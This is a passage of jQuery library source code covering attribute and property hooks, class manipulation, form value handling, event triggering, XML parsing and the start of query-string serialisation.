);\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tattr: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set attributes on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Fallback to prop when attributes are not supported\n\t\tif ( typeof elem.getAttribute === \"undefined\" ) {\n\t\t\treturn jQuery.prop( elem, name, value );\n\t\t}\n\n\t\t// Attribute hooks are determined by the lowercase version\n\t\t// Grab necessary hook if one is defined\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\t\t\thooks = jQuery.attrHooks[ name.toLowerCase() ] ||\n\t\t\t\t( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( value === null ) {\n\t\t\t\tjQuery.removeAttr( elem, name );\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\telem.setAttribute( name, value + \"\" );\n\t\t\treturn value;\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tret = jQuery.find.attr( elem, name );\n\n\t\t// Non-existent attributes return null, we normalize to undefined\n\t\treturn ret == null ? undefined : ret;\n\t},\n\n\tattrHooks: {\n\t\ttype: {\n\t\t\tset: function( elem, value ) {\n\t\t\t\tif ( !support.radioValue && value === \"radio\" &&\n\t\t\t\t\tnodeName( elem, \"input\" ) ) {\n\t\t\t\t\tvar val = elem.value;\n\t\t\t\t\telem.setAttribute( \"type\", value );\n\t\t\t\t\tif ( val ) {\n\t\t\t\t\t\telem.value = val;\n\t\t\t\t\t}\n\t\t\t\t\treturn value;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tremoveAttr: function( elem, value ) {\n\t\tvar name,\n\t\t\ti = 0,\n\n\t\t\t// Attribute names can contain non-HTML whitespace characters\n\t\t\t// https://html.spec.whatwg.org/multipage/syntax.html#attributes-2\n\t\t\tattrNames = value && value.match( rnothtmlwhite );\n\n\t\tif ( attrNames && elem.nodeType === 1 ) {\n\t\t\twhile ( ( name = attrNames[ i++ ] ) ) {\n\t\t\t\telem.removeAttribute( name );\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Hooks for boolean attributes\nboolHook = {\n\tset: function( elem, value, name ) {\n\t\tif ( value === false ) {\n\n\t\t\t// Remove boolean attributes when set to false\n\t\t\tjQuery.removeAttr( elem, name );\n\t\t} else {\n\t\t\telem.setAttribute( name, name );\n\t\t}\n\t\treturn name;\n\t}\n};\n\njQuery.each( jQuery.expr.match.bool.source.match( /\\w+/g ), function( i, name ) {\n\tvar getter = attrHandle[ name ] || jQuery.find.attr;\n\n\tattrHandle[ name ] = function( elem, name, isXML ) {\n\t\tvar ret, handle,\n\t\t\tlowercaseName = name.toLowerCase();\n\n\t\tif ( !isXML ) {\n\n\t\t\t// Avoid an infinite loop by temporarily removing this function from the getter\n\t\t\thandle = attrHandle[ lowercaseName ];\n\t\t\tattrHandle[ lowercaseName ] = ret;\n\t\t\tret = getter( elem, name, isXML ) != null ?\n\t\t\t\tlowercaseName :\n\t\t\t\tnull;\n\t\t\tattrHandle[ lowercaseName ] = handle;\n\t\t}\n\t\treturn ret;\n\t};\n} );\n\n\n\n\nvar rfocusable = /^(?:input|select|textarea|button)$/i,\n\trclickable = /^(?:a|area)$/i;\n\njQuery.fn.extend( {\n\tprop: function( name, value ) {\n\t\treturn access( this, jQuery.prop, name, value, arguments.length > 1 );\n\t},\n\n\tremoveProp: function( name ) {\n\t\treturn this.each( function() {\n\t\t\tdelete this[ jQuery.propFix[ name ] || name ];\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tprop: function( elem, name, value ) {\n\t\tvar ret, hooks,\n\t\t\tnType = elem.nodeType;\n\n\t\t// Don't get/set properties on text, comment and attribute nodes\n\t\tif ( nType === 3 || nType === 8 || nType === 2 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {\n\n\t\t\t// Fix name and attach hooks\n\t\t\tname = jQuery.propFix[ name ] || name;\n\t\t\thooks = jQuery.propHooks[ name ];\n\t\t}\n\n\t\tif ( value !== undefined ) {\n\t\t\tif ( hooks && \"set\" in hooks &&\n\t\t\t\t( ret = hooks.set( elem, value, name ) ) !== undefined ) {\n\t\t\t\treturn ret;\n\t\t\t}\n\n\t\t\treturn ( elem[ name ] = value );\n\t\t}\n\n\t\tif ( hooks && \"get\" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {\n\t\t\treturn ret;\n\t\t}\n\n\t\treturn elem[ name ];\n\t},\n\n\tpropHooks: {\n\t\ttabIndex: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\t// Support: IE <=9 - 11 only\n\t\t\t\t// elem.tabIndex doesn't always return the\n\t\t\t\t// correct value when it hasn't been explicitly set\n\t\t\t\t// https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\t// Use proper attribute retrieval(#12072)\n\t\t\t\tvar tabindex = jQuery.find.attr( elem, \"tabindex\" );\n\n\t\t\t\tif ( tabindex ) {\n\t\t\t\t\treturn parseInt( tabindex, 10 );\n\t\t\t\t}\n\n\t\t\t\tif (\n\t\t\t\t\trfocusable.test( elem.nodeName ) ||\n\t\t\t\t\trclickable.test( elem.nodeName ) &&\n\t\t\t\t\telem.href\n\t\t\t\t) {\n\t\t\t\t\treturn 0;\n\t\t\t\t}\n\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t}\n\t},\n\n\tpropFix: {\n\t\t\"for\": \"htmlFor\",\n\t\t\"class\": \"className\"\n\t}\n} );\n\n// Support: IE <=11 only\n// Accessing the selectedIndex property\n// forces the browser to respect setting selected\n// on the option\n// The getter ensures a default option is selected\n// when in an optgroup\n// eslint rule \"no-unused-expressions\" is disabled for this code\n// since it considers such accessions noop\nif ( !support.optSelected ) {\n\tjQuery.propHooks.selected = {\n\t\tget: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent && parent.parentNode ) {\n\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t}\n\t\t\treturn null;\n\t\t},\n\t\tset: function( elem ) {\n\n\t\t\t/* eslint no-unused-expressions: \"off\" */\n\n\t\t\tvar parent = elem.parentNode;\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}\n\njQuery.each( [\n\t\"tabIndex\",\n\t\"readOnly\",\n\t\"maxLength\",\n\t\"cellSpacing\",\n\t\"cellPadding\",\n\t\"rowSpan\",\n\t\"colSpan\",\n\t\"useMap\",\n\t\"frameBorder\",\n\t\"contentEditable\"\n], function() {\n\tjQuery.propFix[ this.toLowerCase() ] = this;\n} );\n\n\n\n\n\t// Strip and collapse whitespace according to HTML spec\n\t// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace\n\tfunction stripAndCollapse( value ) {\n\t\tvar tokens = value.match( rnothtmlwhite ) || [];\n\t\treturn tokens.join( \" \" );\n\t}\n\n\nfunction getClass( elem ) {\n\treturn elem.getAttribute && elem.getAttribute( \"class\" ) || \"\";\n}\n\nfunction classesToArray( value ) {\n\tif ( Array.isArray( value ) ) {\n\t\treturn value;\n\t}\n\tif ( typeof value === \"string\" ) {\n\t\treturn value.match( rnothtmlwhite ) || [];\n\t}\n\treturn [];\n}\n\njQuery.fn.extend( {\n\taddClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).addClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tclasses = classesToArray( value );\n\n\t\tif ( classes.length ) {\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\t\t\t\tcur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\t\t\t\t\t\tif ( cur.indexOf( \" \" + clazz + \" \" ) < 0 ) {\n\t\t\t\t\t\t\tcur += clazz + \" \";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tvar classes, elem, cur, curValue, clazz, j, finalValue,\n\t\t\ti = 0;\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( j ) {\n\t\t\t\tjQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );\n\t\t\t} );\n\t\t}\n\n\t\tif ( !arguments.length ) {\n\t\t\treturn this.attr( \"class\", \"\" );\n\t\t}\n\n\t\tclasses = classesToArray( value );\n\n\t\tif ( classes.length ) {\n\t\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\t\tcurValue = getClass( elem );\n\n\t\t\t\t// This expression is here for better compressibility (see addClass)\n\t\t\t\tcur = elem.nodeType === 1 && ( \" \" + stripAndCollapse( curValue ) + \" \" );\n\n\t\t\t\tif ( cur ) {\n\t\t\t\t\tj = 0;\n\t\t\t\t\twhile ( ( clazz = classes[ j++ ] ) ) {\n\n\t\t\t\t\t\t// Remove *all* instances\n\t\t\t\t\t\twhile ( cur.indexOf( \" \" + clazz + \" \" ) > -1 ) {\n\t\t\t\t\t\t\tcur = cur.replace( \" \" + clazz + \" \", \" \" );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\t// Only assign if different to avoid unneeded rendering.\n\t\t\t\t\tfinalValue = stripAndCollapse( cur );\n\t\t\t\t\tif ( curValue !== finalValue ) {\n\t\t\t\t\t\telem.setAttribute( \"class\", finalValue );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value,\n\t\t\tisValidValue = type === \"string\" || Array.isArray( value );\n\n\t\tif ( typeof stateVal === \"boolean\" && isValidValue ) {\n\t\t\treturn stateVal ? this.addClass( value ) : this.removeClass( value );\n\t\t}\n\n\t\tif ( isFunction( value ) ) {\n\t\t\treturn this.each( function( i ) {\n\t\t\t\tjQuery( this ).toggleClass(\n\t\t\t\t\tvalue.call( this, i, getClass( this ), stateVal ),\n\t\t\t\t\tstateVal\n\t\t\t\t);\n\t\t\t} );\n\t\t}\n\n\t\treturn this.each( function() {\n\t\t\tvar className, i, self, classNames;\n\n\t\t\tif ( isValidValue ) {\n\n\t\t\t\t// Toggle individual class names\n\t\t\t\ti = 0;\n\t\t\t\tself = jQuery( this );\n\t\t\t\tclassNames = classesToArray( value );\n\n\t\t\t\twhile ( ( className = classNames[ i++ ] ) ) {\n\n\t\t\t\t\t// Check each className given, space separated list\n\t\t\t\t\tif ( self.hasClass( className ) ) {\n\t\t\t\t\t\tself.removeClass( className );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tself.addClass( className );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t// Toggle whole class name\n\t\t\t} else if ( value === undefined || type === \"boolean\" ) {\n\t\t\t\tclassName = getClass( this );\n\t\t\t\tif ( className ) {\n\n\t\t\t\t\t// Store className if set\n\t\t\t\t\tdataPriv.set( this, \"__className__\", className );\n\t\t\t\t}\n\n\t\t\t\t// If the element has a class name or if we're passed `false`,\n\t\t\t\t// then remove the whole classname (if there was one, the above saved it).\n\t\t\t\t// Otherwise bring back whatever was previously saved (if anything),\n\t\t\t\t// falling back to the empty string if nothing was stored.\n\t\t\t\tif ( this.setAttribute ) {\n\t\t\t\t\tthis.setAttribute( \"class\",\n\t\t\t\t\t\tclassName || value === false ?\n\t\t\t\t\t\t\"\" :\n\t\t\t\t\t\tdataPriv.get( this, \"__className__\" ) || \"\"\n\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t} );\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className, elem,\n\t\t\ti = 0;\n\n\t\tclassName = \" \" + selector + \" \";\n\t\twhile ( ( elem = this[ i++ ] ) ) {\n\t\t\tif ( elem.nodeType === 1 &&\n\t\t\t\t( \" \" + stripAndCollapse( getClass( elem ) ) + \" \" ).indexOf( className ) > -1 ) {\n\t\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t}\n} );\n\n\n\n\nvar rreturn = /\\r/g;\n\njQuery.fn.extend( {\n\tval: function( value ) {\n\t\tvar hooks, ret, valueIsFunction,\n\t\t\telem = this[ 0 ];\n\n\t\tif ( !arguments.length ) {\n\t\t\tif ( elem ) {\n\t\t\t\thooks = jQuery.valHooks[ elem.type ] ||\n\t\t\t\t\tjQuery.valHooks[ elem.nodeName.toLowerCase() ];\n\n\t\t\t\tif ( hooks &&\n\t\t\t\t\t\"get\" in hooks &&\n\t\t\t\t\t( ret = hooks.get( elem, \"value\" ) ) !== undefined\n\t\t\t\t) {\n\t\t\t\t\treturn ret;\n\t\t\t\t}\n\n\t\t\t\tret = elem.value;\n\n\t\t\t\t// Handle most common string cases\n\t\t\t\tif ( typeof ret === \"string\" ) {\n\t\t\t\t\treturn ret.replace( rreturn, \"\" );\n\t\t\t\t}\n\n\t\t\t\t// Handle cases where value is null/undef or number\n\t\t\t\treturn ret == null ? \"\" : ret;\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\t\tvalueIsFunction = isFunction( value );\n\n\t\treturn this.each( function( i ) {\n\t\t\tvar val;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( valueIsFunction ) {\n\t\t\t\tval = value.call( this, i, jQuery( this ).val() );\n\t\t\t} else {\n\t\t\t\tval = value;\n\t\t\t}\n\n\t\t\t// Treat null/undefined as \"\"; convert numbers to string\n\t\t\tif ( val == null ) {\n\t\t\t\tval = \"\";\n\n\t\t\t} else if ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\n\t\t\t} else if ( Array.isArray( val ) ) {\n\t\t\t\tval = jQuery.map( val, function( value ) {\n\t\t\t\t\treturn value == null ? \"\" : value + \"\";\n\t\t\t\t} );\n\t\t\t}\n\n\t\t\thooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];\n\n\t\t\t// If set returns undefined, fall back to normal setting\n\t\t\tif ( !hooks || !( \"set\" in hooks ) || hooks.set( this, val, \"value\" ) === undefined ) {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t} );\n\t}\n} );\n\njQuery.extend( {\n\tvalHooks: {\n\t\toption: {\n\t\t\tget: function( elem ) {\n\n\t\t\t\tvar val = jQuery.find.attr( elem, \"value\" );\n\t\t\t\treturn val != null ?\n\t\t\t\t\tval :\n\n\t\t\t\t\t// Support: IE <=10 - 11 only\n\t\t\t\t\t// option.text throws exceptions (#14686, #14858)\n\t\t\t\t\t// Strip and collapse whitespace\n\t\t\t\t\t// https://html.spec.whatwg.org/#strip-and-collapse-whitespace\n\t\t\t\t\tstripAndCollapse( jQuery.text( elem ) );\n\t\t\t}\n\t\t},\n\t\tselect: {\n\t\t\tget: function( elem ) {\n\t\t\t\tvar value, option, i,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tindex = elem.selectedIndex,\n\t\t\t\t\tone = elem.type === \"select-one\",\n\t\t\t\t\tvalues = one ? null : [],\n\t\t\t\t\tmax = one ? index + 1 : options.length;\n\n\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\ti = max;\n\n\t\t\t\t} else {\n\t\t\t\t\ti = one ? index : 0;\n\t\t\t\t}\n\n\t\t\t\t// Loop through all the selected options\n\t\t\t\tfor ( ; i < max; i++ ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t// Support: IE <=9 only\n\t\t\t\t\t// IE8-9 doesn't update selected after form reset (#2551)\n\t\t\t\t\tif ( ( option.selected || i === index ) &&\n\n\t\t\t\t\t\t\t// Don't return options that are disabled or in a disabled optgroup\n\t\t\t\t\t\t\t!option.disabled &&\n\t\t\t\t\t\t\t( !option.parentNode.disabled ||\n\t\t\t\t\t\t\t\t!nodeName( option.parentNode, \"optgroup\" ) ) ) {\n\n\t\t\t\t\t\t// Get the specific value for the option\n\t\t\t\t\t\tvalue = jQuery( option ).val();\n\n\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn values;\n\t\t\t},\n\n\t\t\tset: function( elem, value ) {\n\t\t\t\tvar optionSet, option,\n\t\t\t\t\toptions = elem.options,\n\t\t\t\t\tvalues = jQuery.makeArray( value ),\n\t\t\t\t\ti = options.length;\n\n\t\t\t\twhile ( i-- ) {\n\t\t\t\t\toption = options[ i ];\n\n\t\t\t\t\t/* eslint-disable no-cond-assign */\n\n\t\t\t\t\tif ( option.selected =\n\t\t\t\t\t\tjQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1\n\t\t\t\t\t) {\n\t\t\t\t\t\toptionSet = true;\n\t\t\t\t\t}\n\n\t\t\t\t\t/* eslint-enable no-cond-assign */\n\t\t\t\t}\n\n\t\t\t\t// Force browsers to behave consistently when non-matching value is set\n\t\t\t\tif ( !optionSet ) {\n\t\t\t\t\telem.selectedIndex = -1;\n\t\t\t\t}\n\t\t\t\treturn values;\n\t\t\t}\n\t\t}\n\t}\n} );\n\n// Radios and checkboxes getter/setter\njQuery.each( [ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = {\n\t\tset: function( elem, value ) {\n\t\t\tif ( Array.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );\n\t\t\t}\n\t\t}\n\t};\n\tif ( !support.checkOn ) {\n\t\tjQuery.valHooks[ this ].get = function( elem ) {\n\t\t\treturn elem.getAttribute( \"value\" ) === null ? \"on\" : elem.value;\n\t\t};\n\t}\n} );\n\n\n\n\n// Return jQuery for attributes-only inclusion\n\n\nsupport.focusin = \"onfocusin\" in window;\n\n\nvar rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,\n\tstopPropagationCallback = function( e ) {\n\t\te.stopPropagation();\n\t};\n\njQuery.extend( jQuery.event, {\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\n\t\tvar i, cur, tmp, bubbleType, ontype, handle, special, lastElement,\n\t\t\teventPath = [ elem || document ],\n\t\t\ttype = hasOwn.call( event, \"type\" ) ? event.type : event,\n\t\t\tnamespaces = hasOwn.call( event, \"namespace\" ) ? event.namespace.split( \".\" ) : [];\n\n\t\tcur = lastElement = tmp = elem = elem || document;\n\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf( \".\" ) > -1 ) {\n\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split( \".\" );\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\t\tontype = type.indexOf( \":\" ) < 0 && \"on\" + type;\n\n\t\t// Caller can pass in a jQuery.Event object, Object, or just an event type string\n\t\tevent = event[ jQuery.expando ] ?\n\t\t\tevent :\n\t\t\tnew jQuery.Event( type, typeof event === \"object\" && event );\n\n\t\t// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)\n\t\tevent.isTrigger = onlyHandlers ? 2 : 3;\n\t\tevent.namespace = namespaces.join( \".\" );\n\t\tevent.rnamespace = event.namespace ?\n\t\t\tnew RegExp( \"(^|\\\\.)\" + namespaces.join( \"\\\\.(?:.*\\\\.|)\" ) + \"(\\\\.|$)\" ) :\n\t\t\tnull;\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data == null ?\n\t\t\t[ event ] :\n\t\t\tjQuery.makeArray( data, [ event ] );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (#9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n\t\tif ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tif ( !rfocusMorph.test( bubbleType + type ) ) {\n\t\t\t\tcur = cur.parentNode;\n\t\t\t}\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push( cur );\n\t\t\t\ttmp = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( tmp === ( elem.ownerDocument || document ) ) {\n\t\t\t\teventPath.push( tmp.defaultView || tmp.parentWindow || window );\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\ti = 0;\n\t\twhile ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {\n\t\t\tlastElement = cur;\n\t\t\tevent.type = i > 1 ?\n\t\t\t\tbubbleType :\n\t\t\t\tspecial.bindType || type;\n\n\t\t\t// jQuery handler\n\t\t\thandle = ( dataPriv.get( cur, \"events\" ) || {} )[ event.type ] &&\n\t\t\t\tdataPriv.get( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\n\t\t\t// Native handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && handle.apply && acceptData( cur ) ) {\n\t\t\t\tevent.result = handle.apply( cur, data );\n\t\t\t\tif ( event.result === false ) {\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( ( !special._default ||\n\t\t\t\tspecial._default.apply( eventPath.pop(), data ) === false ) &&\n\t\t\t\tacceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name as the event.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (#6170)\n\t\t\t\tif ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\ttmp = elem[ ontype ];\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.addEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\telem[ type ]();\n\n\t\t\t\t\tif ( event.isPropagationStopped() ) {\n\t\t\t\t\t\tlastElement.removeEventListener( type, stopPropagationCallback );\n\t\t\t\t\t}\n\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( tmp ) {\n\t\t\t\t\t\telem[ ontype ] = tmp;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\t// Piggyback on a donor event to simulate a different one\n\t// Used only for `focus(in | out)` events\n\tsimulate: function( type, elem, event ) {\n\t\tvar e = jQuery.extend(\n\t\t\tnew jQuery.Event(),\n\t\t\tevent,\n\t\t\t{\n\t\t\t\ttype: type,\n\t\t\t\tisSimulated: true\n\t\t\t}\n\t\t);\n\n\t\tjQuery.event.trigger( e, null, elem );\n\t}\n\n} );\n\njQuery.fn.extend( {\n\n\ttrigger: function( type, data ) {\n\t\treturn this.each( function() {\n\t\t\tjQuery.event.trigger( type, data, this );\n\t\t} );\n\t},\n\ttriggerHandler: function( type, data ) {\n\t\tvar elem = this[ 0 ];\n\t\tif ( elem ) {\n\t\t\treturn jQuery.event.trigger( type, data, elem, true );\n\t\t}\n\t}\n} );\n\n\n// Support: Firefox <=44\n// Firefox doesn't have focus(in | out) events\n// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787\n//\n// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1\n// focus(in | out) events fire after focus & blur events,\n// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order\n// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857\nif ( !support.focusin ) {\n\tjQuery.each( { focus: \"focusin\", blur: \"focusout\" }, function( orig, fix ) {\n\n\t\t// Attach a single capturing handler on the document while someone wants focusin/focusout\n\t\tvar handler = function( event ) {\n\t\t\tjQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );\n\t\t};\n\n\t\tjQuery.event.special[ fix ] = {\n\t\t\tsetup: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix );\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.addEventListener( orig, handler, true );\n\t\t\t\t}\n\t\t\t\tdataPriv.access( doc, fix, ( attaches || 0 ) + 1 );\n\t\t\t},\n\t\t\tteardown: function() {\n\t\t\t\tvar doc = this.ownerDocument || this,\n\t\t\t\t\tattaches = dataPriv.access( doc, fix ) - 1;\n\n\t\t\t\tif ( !attaches ) {\n\t\t\t\t\tdoc.removeEventListener( orig, handler, true );\n\t\t\t\t\tdataPriv.remove( doc, fix );\n\n\t\t\t\t} else {\n\t\t\t\t\tdataPriv.access( doc, fix, attaches );\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t} );\n}\nvar location = window.location;\n\nvar nonce = Date.now();\n\nvar rquery = ( /\\?/ );\n\n\n\n// Cross-browser xml parsing\njQuery.parseXML = function( data ) {\n\tvar xml;\n\tif ( !data || typeof data !== \"string\" ) {\n\t\treturn null;\n\t}\n\n\t// Support: IE 9 - 11 only\n\t// IE throws on parseFromString with invalid input.\n\ttry {\n\t\txml = ( new window.DOMParser() ).parseFromString( data, \"text/xml\" );\n\t} catch ( e ) {\n\t\txml = undefined;\n\t}\n\n\tif ( !xml || xml.getElementsByTagName( \"parsererror\" ).length ) {\n\t\tjQuery.error( \"Invalid XML: \" + data );\n\t}\n\treturn xml;\n};\n\n\nvar\n\trbracket = /\\[\\]$/,\n\trCRLF = /\\r?\\n/g,\n\trsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,\n\trsubmittable = /^(?:input|select|textarea|keygen)/i;\n\nfunction buildParams( prefix, obj, traditional, add ) {\n\tvar name;\n\n\tif ( Array.isArray( obj ) ) {\n\n\t\t// Serialize array item.\n\t\tjQuery.each( obj, function( i, v ) {\n\t\t\tif ( traditional || rbracket.test( prefix ) ) {\n\n\t\t\t\t// Treat each array item as a scalar.\n\t\t\t\tadd( prefix, v );\n\n\t\t\t} else {\n\n\t\t\t\t// Item is non-scalar (array or object), encode its numeric index.\n\t\t\t\tbuildParams(\n\t\t\t\t\tprefix + \"[\" + ( typeof v === \"object\" && v != null ? i : \"\" ) + \"]\",\n\t\t\t\t\tv,\n\t\t\t\t\ttraditional,\n\t\t\t\t\tadd\n\t\t\t\t);\n\t\t\t}\n\t\t} );\n\n\t} else if ( !traditional && toType( obj ) === \"object\" ) {\n\n\t\t// Serialize object item.\n\t\tfor ( name in obj ) {\n\t\t\tbuildParams( prefix + \"[\" + name + \"]\", obj[ name ], traditional, add );\n\t\t}\n\n\t} else {\n\n\t\t// Serialize scalar item.\n\t\tadd( prefix, obj );\n\t}\n}\n\n// Serialize an array of form elements or a set of\n// key/values into a query string\njQuery.param = function( a, traditional ) {\n\tvar prefix,\n\t\ts = [],\n\t\tadd = function( key, valueOrFunction ) {\n\n\t\t\t// If value is a function, invoke it and use its return value\n\t\t\tvar value = isFunction( valueOrFunction ) ?\n\t\t\t\tvalueOrFunction() :\n\t\t\t\tvalueOrFunction;\n\n\t\t\ts[ s.length ] = encodeURIComponent( key ) + \"=\" +\n\t\t\t\tencodeURIComponent( value == null ? \"\" : value );\n\t\t};\n\n\tif ( a == null ) {\n\t\treturn 